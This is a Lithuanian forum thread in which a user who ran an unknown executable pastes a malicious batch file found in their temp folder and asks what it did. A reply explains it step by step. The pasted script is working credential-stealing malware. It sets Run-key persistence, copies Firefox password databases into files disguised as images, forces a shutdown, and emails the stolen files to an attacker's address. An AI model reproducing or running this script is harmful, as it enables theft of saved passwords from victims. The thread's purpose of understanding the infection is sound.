Straipsniai.lt

sveiki. as atsidariau neaisku exe faila ir isijunge kompas. Pasiseke kad ijungiau. tempuose radau b2e.dll ir crack.bat faila jame yra
@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v systemdriver /t REG_SZ /d HDD.bat /f > nul
start setup.exe
chdir %userprofile%\Application Data\Mozilla\Firefox\Profiles\*.default
copy key3.db C:\masterx.jpg
copy signons3.txt C:\phazex.jpg
copy key.db C:\masterx.jpg
copy signons.txt C:\phazex.jpg
shutdown -s -t 20 -c "system need restart"
"%systemroot%\device\febootimail" -FROM Masterx.topsecret@gmail.com -TO Masterx.topsecret@gmail.com -MSG "firefox" -ATTACH C:\phazex.jpg -ATTACH C:\masterx.jpg -SMTP gmail-smtp-in.l.google.com
ipconfig /release
exit

gal kas galit parasyt ka tas virusas padare?

Tiksliai nežinau, bet pabandysiu paaiškinti. Programa yra paleidžiama, kažkur sisteminiuose failuose, neva tai draiveriai kažkokie...
Čia yra tavo naršyklės direkroija, t.y. kelias, kur yra saugomi/laikomi naršyklės failai, kurie yra vienaip ar kitaip susiję su tavo naršymu internete...

Iš ankščiau minėtos direktorijos yra kopinami failai (key3.db, sigons3.txt ir t.t):
Turinys esantis tuose failuose (key3.db, sigons3.txt ir t.t) yra perkeliamas į masterx.jpg ir phazex.jpg . Po šios operacijos įvykdymo tau išmeta lenetelę, kad reikalingas kompiuterio perkrovimas. Po 20sek. tavo PC išsijungia.

Veliau, tie du failai (*.jpg) su pavogtu turiniu iš tavo PC, keliauja pas bat skripto kurėją, tiesiai į jo pašto dežutę. Štai ir viskas.
Na, nežinau ar čia teisingai paaiškinau tau, bet daugmaž viskas būtų taip...

ok aciu. gerai kad neatjunge kokios peles arba boot.ini failo neistryne